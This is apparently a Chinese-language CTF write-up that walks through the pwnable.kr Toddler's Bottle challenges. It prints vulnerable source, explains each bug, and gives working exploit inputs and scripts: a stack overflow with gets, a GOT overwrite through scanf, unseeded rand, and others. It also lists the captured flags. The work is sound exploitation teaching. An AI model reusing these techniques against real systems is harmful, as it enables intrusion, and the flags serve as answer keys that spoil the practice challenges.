Pwnable.kr Toddler's Bottle 练习记录。
fd 查看程序源码,需要使 buf 为 "LETMEWIN" 字符串才可以得到 flag 信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #include <stdio.h> #include <stdlib.h> #include <string.h> char buf[32 ];int main (int argc, char * argv[], char * envp[]) { if (argc<2 ){ printf ("pass argv[1] a number\n" ); return 0 ; } int fd = atoi( argv[1 ] ) - 0x1234 ; int len = 0 ; len = read(fd, buf, 32 ); if (!strcmp ("LETMEWIN\n" , buf)){ printf ("good job :)\n" ); setregid(getegid(), getegid()); system("/bin/cat flag" ); exit (0 ); } printf ("learn about Linux file IO\n" ); return 0 ; }
在 Linux 系统中,文件描述符使用 int 类型进行表示,其中有三个系统默认值。
0:stdin,标准输入流
1:stdout,标准输出流
2:stderr,标准错误流
当程序中 fd 的值为 0 时,表示 read() 函数将从 stdin 流中读取 32 字节数据到 buf 数组中,此时可以控制 buf 为 "LETMEWIN" 字符串,得到 flag 信息。
1 2 3 4 fd@ubuntu:~$ ./fd 4660 LETMEWIN good job :) Mama! Now_I_understand_what_file_descriptors_are!
collision 查看程序源码,当输入的字符相加为 0x21DD09EC 时,得到 flag 信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #include <stdio.h> #include <string.h> unsigned long hashcode = 0x21DD09EC ;unsigned long check_password (const char * p) { int * ip = (int *)p; int i; int res=0 ; for (i=0 ; i<5 ; i++){ res += ip[i]; } return res; } int main (int argc, char * argv[]) { if (argc<2 ){ printf ("usage : %s [passcode]\n" , argv[0 ]); return 0 ; } if (strlen (argv[1 ]) != 20 ){ printf ("passcode length should be 20 bytes\n" ); return 0 ; } if (hashcode == check_password( argv[1 ] )){ setregid(getegid(), getegid()); system("/bin/cat flag" ); return 0 ; } else printf ("wrong passcode.\n" ); return 0 ; }
由 0x21DD09EC 为 568134124 可知,当 0x21DD09EC + 0x1 = 0x21DD09ED 时,能够被 5 除尽,所以可以得到 0x6C5CEC9、0x6C5CEC9、0x6C5CEC9、0x6C5CEC9 和 0x6C5CEC8 等 5 个用于相加的数值。
构造用于输入的字符串,读取 flag 信息。
1 2 col@ubuntu:~$ ./col `python2 -c 'print "\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC8\xCE\xC5\x06"'` Two_hash_collision_Nicely
bof 查看程序源码,当 key 为 0xcafebabe 时,得到 flag 信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <stdio.h> #include <string.h> #include <stdlib.h> void func (int key) { char overflowme[32 ]; printf ("overflow me : " ); gets(overflowme); if (key == 0xcafebabe ){ setregid(getegid(), getegid()); system("/bin/sh" ); } else { printf ("Nah..\n" ); } } int main (int argc, char * argv[]) { func(0xdeadbeef ); return 0 ; }
通过 gets() 函数获取输入时,并不会对输入数据的长度进行检查,因此输入长度超过 32 字节便会溢出 overflowme 数组的内存空间。
查看 func 函数的栈布局。
1 2 3 4 5 6 7 8 9 10 11 12 13 -000000000000002C char overflowme[32]; -000000000000000C _DWORD var_C; -0000000000000008 // padding byte -0000000000000007 // padding byte -0000000000000006 // padding byte -0000000000000005 // padding byte -0000000000000004 // padding byte -0000000000000003 // padding byte -0000000000000002 // padding byte -0000000000000001 // padding byte +0000000000000000 _DWORD __saved_registers; +0000000000000004 _UNKNOWN *__return_address; +0000000000000008 _DWORD key;
其中 overflowme 距离 key 偏移为 0x34 字节,当填充 56 字节的数据时,便可以覆盖 key 的值。
在题目服务器的 /tmp 目录中新建任意目录,创建 Python 脚本文件,内容如下。
1 2 3 4 5 6 7 8 9 10 from pwn import *payload = b'A' * 0x34 payload += b'\xbe\xba\xfe\xca' target = remote('0.0.0.0' , 9000 ) target.sendline(payload) target.interactive()
运行脚本,得到 flag 信息。
1 2 3 4 5 6 7 8 9 10 11 12 bof@ubuntu:/tmp/bof_test$ python3 get_flag.py [+] Opening connection to 0.0.0.0 on port 9000: Done [*] Switching to interactive mode $ ls bof bof.c flag log super.pl $ cat flagDaddy_I_just_pwned_a_buff3r! $
passcode 查看程序源码,当 passcode1 为 123456 和 passcode2 为 13371337 时得到 flag 信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 #include <stdio.h> #include <stdlib.h> void login () { int passcode1; int passcode2; printf ("enter passcode1 : " ); scanf ("%d" , passcode1); fflush(stdin ); printf ("enter passcode2 : " ); scanf ("%d" , passcode2); printf ("checking...\n" ); if (passcode1==123456 && passcode2==13371337 ){ printf ("Login OK!\n" ); setregid(getegid(), getegid()); system("/bin/cat flag" ); } else { printf ("Login Failed!\n" ); exit (0 ); } } void welcome () { char name[100 ]; printf ("enter you name : " ); scanf ("%100s" , name); printf ("Welcome %s!\n" , name); } int main () { printf ("Toddler's Secure Login System 1.1 beta.\n" ); welcome(); login(); printf ("Now I can safely trust you that you have credential :)\n" ); return 0 ; }
在 login() 函数中,可以看到 passcode1 和 passcode2 通过 scanf() 函数接收输入时,缺少 & 符号,这将导致实际存储数据的内存地址由两个变量的数值决定。
经过调试分析发现 welcome() 函数中 name 数组的最后 4 个字节,恰好与 passcode1 重叠,因此可以通过 name 数组来控制 passcode1 的值,从而实现任意地址写入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 // eax = 0xffffd098 -> name array address *EAX 0xffffd098 ◂— 0x28 /* '(' */ 0x804931e <welcome+44> add esp, 0x10 0x8049321 <welcome+47> sub esp, 8 0x8049324 <welcome+50> lea eax, [ebp - 0x70] ► 0x8049327 <welcome+53> push eax 0x8049328 <welcome+54> lea eax, [ebx - 0x1f8b] 0x804932e <welcome+60> push eax 0x804932f <welcome+61> call __isoc99_scanf@plt <__isoc99_scanf@plt> // ebp - 0x10 = 0xffffd0f8 -> passcode1 address EBP 0xffffd108 —▸ 0xffffd118 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0 0x8049218 <login+34> add esp, 0x10 0x804921b <login+37> sub esp, 8 ► 0x804921e <login+40> push dword ptr [ebp - 0x10] 0x8049221 <login+43> lea eax, [ebx - 0x1fe5] 0x8049227 <login+49> push eax 0x8049228 <login+50> call __isoc99_scanf@plt <__isoc99_scanf@plt> // ebp - 0xc = 0xffffd0fc -> passcode2 address EBP 0xffffd108 —▸ 0xffffd118 ◂— 0x1e240 0x8049253 <login+93> add esp, 0x10 0x8049256 <login+96> sub esp, 8 ► 0x8049259 <login+99> push dword ptr [ebp - 0xc] 0x804925c <login+102> lea eax, [ebx - 0x1fe5] 0x8049262 <login+108> push eax 0x8049263 <login+109> call __isoc99_scanf@plt <__isoc99_scanf@plt>
借助任意地址写入功能,可以通过改写 GOT 表中的函数地址来跳转到任意地址进行执行,从而绕过校验代码,得到 flag 信息。
查看 .got.plt 中的函数列表。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 passcode@ubuntu:~$ readelf -r passcode Relocation section '.rel.dyn' at offset 0x430 contains 2 entries: Offset Info Type Sym.Value Sym. Name 0804bff8 00000806 R_386_GLOB_DAT 00000000 __gmon_start__ 0804bffc 00000a06 R_386_GLOB_DAT 00000000 stdin@GLIBC_2.0 Relocation section '.rel.plt' at offset 0x440 contains 10 entries: Offset Info Type Sym.Value Sym. Name 0804c00c 00000107 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.34 0804c010 00000207 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0 0804c014 00000307 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0 0804c018 00000407 R_386_JUMP_SLOT 00000000 __stack_chk_fail@GLIBC_2.4 0804c01c 00000507 R_386_JUMP_SLOT 00000000 getegid@GLIBC_2.0 0804c020 00000607 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0 0804c024 00000707 R_386_JUMP_SLOT 00000000 system@GLIBC_2.0 0804c028 00000907 R_386_JUMP_SLOT 00000000 exit@GLIBC_2.0 0804c02c 00000b07 R_386_JUMP_SLOT 00000000 setregid@GLIBC_2.0 0804c030 00000c07 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7
由于 fflush() 函数会刷新输入缓冲区,所以选择覆盖 GOT 表中 fflush() 函数的地址。
通过 fflush() 函数直接跳转到校验成功分支。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 .text:0804928F sub esp, 0Ch .text:08049292 lea eax, (aLoginOk - 804C000h)[ebx] ; "Login OK!" .text:08049298 push eax ; s .text:08049299 call _puts .text:0804929E add esp, 10h .text:080492A1 call _getegid .text:080492A6 mov esi, eax .text:080492A8 call _getegid .text:080492AD sub esp, 8 .text:080492B0 push esi ; egid .text:080492B1 push eax ; rgid .text:080492B2 call _setregid .text:080492B7 add esp, 10h .text:080492BA sub esp, 0Ch .text:080492BD lea eax, (aBinCatFlag - 804C000h)[ebx] ; "/bin/cat flag" .text:080492C3 push eax ; command .text:080492C4 call _system .text:080492C9 add esp, 10h .text:080492CC jmp short loc_80492EA
借助 Python 向程序传参,得到 flag 信息。
1 2 3 4 5 passcode@ubuntu:~$ python2 -c 'print "a" * 96 + "\x14\xc0\x04\x08" + "134517409"' | ./passcode Toddler's Secure Login System 1.1 beta. enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa! s0rry_mom_I_just_ign0red_c0mp1ler_w4rning enter passcode1 : Now I can safely trust you that you have credential :)
random 查看程序源码,当输入数据与随机数异或结果为 0xcafebabe 时,得到 flag 信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <stdio.h> int main () { unsigned int random; random = rand(); unsigned int key=0 ; scanf ("%d" , &key); if ( (key ^ random) == 0xcafebabe ){ printf ("Good!\n" ); setregid(getegid(), getegid()); system("/bin/cat flag" ); return 0 ; } printf ("Wrong, maybe you should try 2^32 cases.\n" ); return 0 ; }
由于程序在调用 rand() 函数之前,未调用 srand() 函数初始化随机数种子,因此系统会默认以 1 为种子生成随机数,这将导致每次运行程序生成的随机数均相同。
本地调试程序,得到生成的随机数 0x6b8b4567。
1 2 3 4 5 6 7 8 9 *RAX 0x6b8b4567 0x555555555216 <main+13> mov rax, qword ptr fs:[0x28] 0x55555555521f <main+22> mov qword ptr [rbp - 0x18], rax 0x555555555223 <main+26> xor eax, eax 0x555555555225 <main+28> mov eax, 0 0x55555555522a <main+33> call rand@plt <rand@plt> ► 0x55555555522f <main+38> mov dword ptr [rbp - 0x1c], eax
异或计算得到正确的 key 值为 0xa175ffd9,即十进制 2708864985。
运行程序,得到 flag 信息。
1 2 3 4 random@ubuntu:~$ ./random 2708864985 Good! m0mmy_I_can_predict_rand0m_v4lue!
查看程序源码,需要满足五个条件才能得到 flag 信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> int main (int argc, char * argv[], char * envp[]) { printf ("Welcome to pwnable.kr\n" ); printf ("Let's see if you know how to give input to program\n" ); printf ("Just give me correct inputs then you will get the flag :)\n" ); if (argc != 100 ) return 0 ; if (strcmp (argv['A' ],"\x00" )) return 0 ; if (strcmp (argv['B' ],"\x20\x0a\x0d" )) return 0 ; printf ("Stage 1 clear!\n" ); char buf[4 ]; read(0 , buf, 4 ); if (memcmp (buf, "\x00\x0a\x00\xff" , 4 )) return 0 ; read(2 , buf, 4 ); if (memcmp (buf, "\x00\x0a\x02\xff" , 4 )) return 0 ; printf ("Stage 2 clear!\n" ); if (strcmp ("\xca\xfe\xba\xbe" , getenv("\xde\xad\xbe\xef" ))) return 0 ; printf ("Stage 3 clear!\n" ); FILE* fp = fopen("\x0a" , "r" ); if (!fp) return 0 ; if ( fread(buf, 4 , 1 , fp)!=1 ) return 0 ; if ( memcmp (buf, "\x00\x00\x00\x00" , 4 ) ) return 0 ; fclose(fp); printf ("Stage 4 clear!\n" ); int sd, cd; struct sockaddr_in saddr , caddr ; sd = socket(AF_INET, SOCK_STREAM, 0 ); if (sd == -1 ){ printf ("socket error, tell admin\n" ); return 0 ; } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = INADDR_ANY; saddr.sin_port = htons( atoi(argv['C' ]) ); if (bind(sd, (struct sockaddr*)&saddr, sizeof (saddr)) < 0 ){ printf ("bind error, use another port\n" ); return 1 ; } listen(sd, 1 ); int c = sizeof (struct sockaddr_in); cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t *)&c); if (cd < 0 ){ printf ("accept error, tell admin\n" ); return 0 ; } if ( recv(cd, buf, 4 , 0 ) != 4 ) return 0 ; if (memcmp (buf, "\xde\xad\xbe\xef" , 4 )) return 0 ; printf ("Stage 5 clear!\n" ); setregid(getegid(), getegid()); system("/bin/cat flag" ); return 0 ; }
第一个条件,通过 Shell 传递 100 个参数,且第 A (65) 个参数为 \x00,第 B (66) 个参数为 \x20\x0a\x0d。
1 2 3 4 5 if (argc != 100 ) return 0 ;if (strcmp (argv['A' ],"\x00" )) return 0 ;if (strcmp (argv['B' ],"\x20\x0a\x0d" )) return 0 ;printf ("Stage 1 clear!\n" );
第二个条件,向 stdio 中写入 \x00\x0a\x00\xff,向 stderr 中写入 \x00\x0a\x02\xff。
1 2 3 4 5 6 7 char buf[4 ];read(0 , buf, 4 ); if (memcmp (buf, "\x00\x0a\x00\xff" , 4 )) return 0 ;read(2 , buf, 4 ); if (memcmp (buf, "\x00\x0a\x02\xff" , 4 )) return 0 ; printf ("Stage 2 clear!\n" );
第三个条件,新增 \xde\xad\xbe\xef 环境变量,设置值为 \xca\xfe\xba\xbe。
1 2 3 if (strcmp ("\xca\xfe\xba\xbe" , getenv("\xde\xad\xbe\xef" ))) return 0 ;printf ("Stage 3 clear!\n" );
第四个条件,新建 \x0a 文件,内容为 \x00\x00\x00\x00。
1 2 3 4 5 6 7 FILE* fp = fopen("\x0a" , "r" ); if (!fp) return 0 ;if ( fread(buf, 4 , 1 , fp)!=1 ) return 0 ;if ( memcmp (buf, "\x00\x00\x00\x00" , 4 ) ) return 0 ;fclose(fp); printf ("Stage 4 clear!\n" );
第五个条件,通过 Shell 第 C (67) 个参数指定监听端口,建立连接发送 \xde\xad\xbe\xef 数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 int sd, cd;struct sockaddr_in saddr , caddr ;sd = socket(AF_INET, SOCK_STREAM, 0 ); if (sd == -1 ){ printf ("socket error, tell admin\n" ); return 0 ; } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = INADDR_ANY; saddr.sin_port = htons( atoi(argv['C' ]) ); if (bind(sd, (struct sockaddr*)&saddr, sizeof (saddr)) < 0 ){ printf ("bind error, use another port\n" ); return 1 ; } listen(sd, 1 ); int c = sizeof (struct sockaddr_in);cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t *)&c); if (cd < 0 ){ printf ("accept error, tell admin\n" ); return 0 ; } if ( recv(cd, buf, 4 , 0 ) != 4 ) return 0 ;if (memcmp (buf, "\xde\xad\xbe\xef" , 4 )) return 0 ;printf ("Stage 5 clear!\n" );
根据条件,编写利用脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import osimport timeimport socketimport subprocessport = 10000 if __name__ == "__main__" : args = list ("A" * 100 ) args[0 ] = "/home/input2/input2" args[ord ('A' )] = "" args[ord ('B' )] = "\x20\x0a\x0d" args[ord ('C' )] = str (port) stdinr, stdinw = os.pipe() stderrr, stderrw = os.pipe() os.write(stdinw, b"\x00\x0a\x00\xff" ) os.write(stderrw, b"\x00\x0a\x02\xff" ) environ = {b"\xde\xad\xbe\xef" : b"\xca\xfe\xba\xbe" } f = open ("\x0a" , "w+" ) f.write("\x00\x00\x00\x00" ) f.close() target = subprocess.Popen(args, stdin=stdinr, stderr=stderrr, env=environ) time.sleep(2 ) server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.connect(("127.0.0.1" , port)) server.send(b"\xde\xad\xbe\xef" ) server.close()
将脚本上传到服务器 /tmp 下新建的目录中,并通过软链接引用 flag 文件。
1 ln -s /home/input2/flag ./flag
运行脚本,获取 flag 信息。
1 2 3 4 5 6 7 8 9 10 input2@ubuntu:/tmp/input2_test$ python3 get_flag.py Welcome to pwnable.kr Let's see if you know how to give input to program Just give me correct inputs then you will get the flag :) Stage 1 clear! Stage 2 clear! Stage 3 clear! Stage 4 clear! Stage 5 clear! Mommy_now_I_know_how_to_pa5s_inputs_in_Linux
leg 查看程序源码,需要计算出三个正确的 key 值才能得到 flag 信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #include <stdio.h> #include <fcntl.h> int key1 () { asm ("mov r3, pc\n" ); } int key2 () { asm ( "push {r6}\n" "add r6, pc, $1\n" "bx r6\n" ".code 16\n" "mov r3, pc\n" "add r3, $0x4\n" "push {r3}\n" "pop {pc}\n" ".code 32\n" "pop {r6}\n" ); } int key3 () { asm ("mov r3, lr\n" ); } int main () { int key=0 ; printf ("Daddy has very strong arm! : " ); scanf ("%d" , &key); if ( (key1()+key2()+key3()) == key ){ printf ("Congratz!\n" ); int fd = open("flag" , O_RDONLY); char buf[100 ]; int r = read(fd, buf, 100 ); write(0 , buf, r); } else { printf ("I have strong leg :P\n" ); } return 0 ; }
根据题目给出的调试信息,分析三个 key 函数的返回值。
查看 key1() 函数的汇编代码。
1 2 3 4 5 6 7 8 9 10 (gdb) disass key1 Dump of assembler code for function key1: 0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cd8 <+4>: add r11, sp, #0 0x00008cdc <+8>: mov r3, pc 0x00008ce0 <+12>: mov r0, r3 0x00008ce4 <+16>: sub sp, r11, #0 0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008cec <+24>: bx lr End of assembler dump.
根据 Arm 架构的三级流水线特性,当 0x00008cdc 处的指令执行时,寄存器 pc 中的值为 0x00008ce4,所以 key1() 函数的返回值为 0x00008ce4。
查看 key2() 函数的汇编代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 (gdb) disass key2 Dump of assembler code for function key2: 0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cf4 <+4>: add r11, sp, #0 0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!) 0x00008cfc <+12>: add r6, pc, #1 0x00008d00 <+16>: bx r6 0x00008d04 <+20>: mov r3, pc 0x00008d06 <+22>: adds r3, #4 0x00008d08 <+24>: push {r3} 0x00008d0a <+26>: pop {pc} 0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4) 0x00008d10 <+32>: mov r0, r3 0x00008d14 <+36>: sub sp, r11, #0 0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d1c <+44>: bx lr End of assembler dump.
根据 Arm 架构的状态变换特性,当 0x00008d04 处指令执行时,寄存器 pc 的值为 0x00008d04,因此 key2() 函数的返回值为 0x00008d0c。
查看 main() 和 key3() 函数的汇编代码。
1 2 3 4 5 6 7 8 9 (gdb) disass main Dump of assembler code for function main: .... 0x00008d7c <+64>: bl 0x8d20 <key3> 0x00008d80 <+68>: mov r3, r0 0x00008d84 <+72>: add r2, r4, r3 0x00008d88 <+76>: ldr r3, [r11, #-16] .... End of assembler dump.
1 2 3 4 5 6 7 8 9 10 (gdb) disass key3 Dump of assembler code for function key3: 0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008d24 <+4>: add r11, sp, #0 0x00008d28 <+8>: mov r3, lr 0x00008d2c <+12>: mov r0, r3 0x00008d30 <+16>: sub sp, r11, #0 0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d38 <+24>: bx lr End of assembler dump.
根据 Arm 架构的函数调用特性,寄存器 lr 保存着 key3() 函数的返回地址,因此 key3() 函数的返回值为 0x00008d80。
将三个返回值相加,计算出 key 值为 0x0001A770,得到 flag 信息。
1 2 3 4 / $ ./leg Daddy has very strong arm! : 108400 Congratz! daddy_has_lot_of_ARM_muscl3
mistake 查看程序源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 #include <stdio.h> #include <fcntl.h> #define PW_LEN 10 #define XORKEY 1 void xor (char * s, int len) { int i; for (i=0 ; i<len; i++){ s[i] ^= XORKEY; } } int main (int argc, char * argv[]) { int fd; if (fd=open("/home/mistake/password" ,O_RDONLY,0400 ) < 0 ){ printf ("can't open password %d\n" , fd); return 0 ; } printf ("do not bruteforce...\n" ); sleep(time(0 )%20 ); char pw_buf[PW_LEN+1 ]; int len; if (!(len=read(fd,pw_buf,PW_LEN) > 0 )){ printf ("read error\n" ); close(fd); return 0 ; } char pw_buf2[PW_LEN+1 ]; printf ("input password : " ); scanf ("%10s" , pw_buf2); xor(pw_buf2, 10 ); if (!strncmp (pw_buf, pw_buf2, PW_LEN)){ printf ("Password OK\n" ); setregid(getegid(), getegid()); system("/bin/cat flag\n" ); } else { printf ("Wrong Password\n" ); } close(fd); return 0 ; }
由于在 C 语言中,运算符 = 低于运算符 < 的优先级,所以 fd 保存的是 open("/home/mistake/password",O_RDONLY,0400) < 0 的比较结果,而不是 /home/mistake/password 的文件指针。
因此 read() 函数实际是从 stdin 中读取数据。这将使得 pw_buf 和 pw_buf2 的内容均可控,从而可以通过校验,得到 flag 信息。
1 2 3 4 5 6 mistake@ubuntu:~$ ./mistake do not bruteforce... BBBBBBBBBB input password : CCCCCCCCCC Password OK Mommy_the_0perator_priority_confuses_me
coin1 根据题目要求,需要在有限时间内,找出所给硬币中的假币。可以采用二分法进行计算,使用 Python 进行实现。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *target = remote("0.0.0.0" , 9007 ) print target.recvuntil("Ready? starting in 3 sec... -\n" )print target.recvline()for j in range (0 , 100 ): data = target.recvline() print data strlist = data.split(' ' ) nums = int (strlist[0 ][2 :]) counts = int (strlist[1 ][2 :]) num_start = 0 while (counts > 0 ): if (nums == 1 ): counts -= 1 target.sendline(str (num_start)) target.recvline() continue if (data == 9 ): num_start = int (answer) counts -= 1 target.sendline(answer) target.recvline() continue num_end = num_start + nums / 2 weight = nums / 2 * 10 answer = '' for i in range (num_start, num_end): answer += str (i) answer += ' ' counts -= 1 target.sendline(answer) data = int (target.recvline()) if (data < weight): nums = nums / 2 else : nums = nums - nums / 2 num_start = num_end target.sendline(str (num_start)) print target.recvline() print target.recvline()print 'flag = ' + target.recvline()target.close()
因为题目服务器网络问题,远程运行脚本时,会经常断开连接,所以将脚本上传到题目服务器,在服务器本地运行脚本。
经过几次运算,可以得到 flag 信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 coin1@ubuntu:/tmp/coin1_test$ python2 get_flag.py [+] Opening connection to 0.0.0.0 on port 9007: Done .... N=597 C=10 Correct! (98) N=518 C=10 Correct! (99) Congrats! get your flag flag = b1naRy_S34rch1Ng_1s_3asy_p3asy [*] Closed connection to 0.0.0.0 port 9007
参考链接 pwnable.kr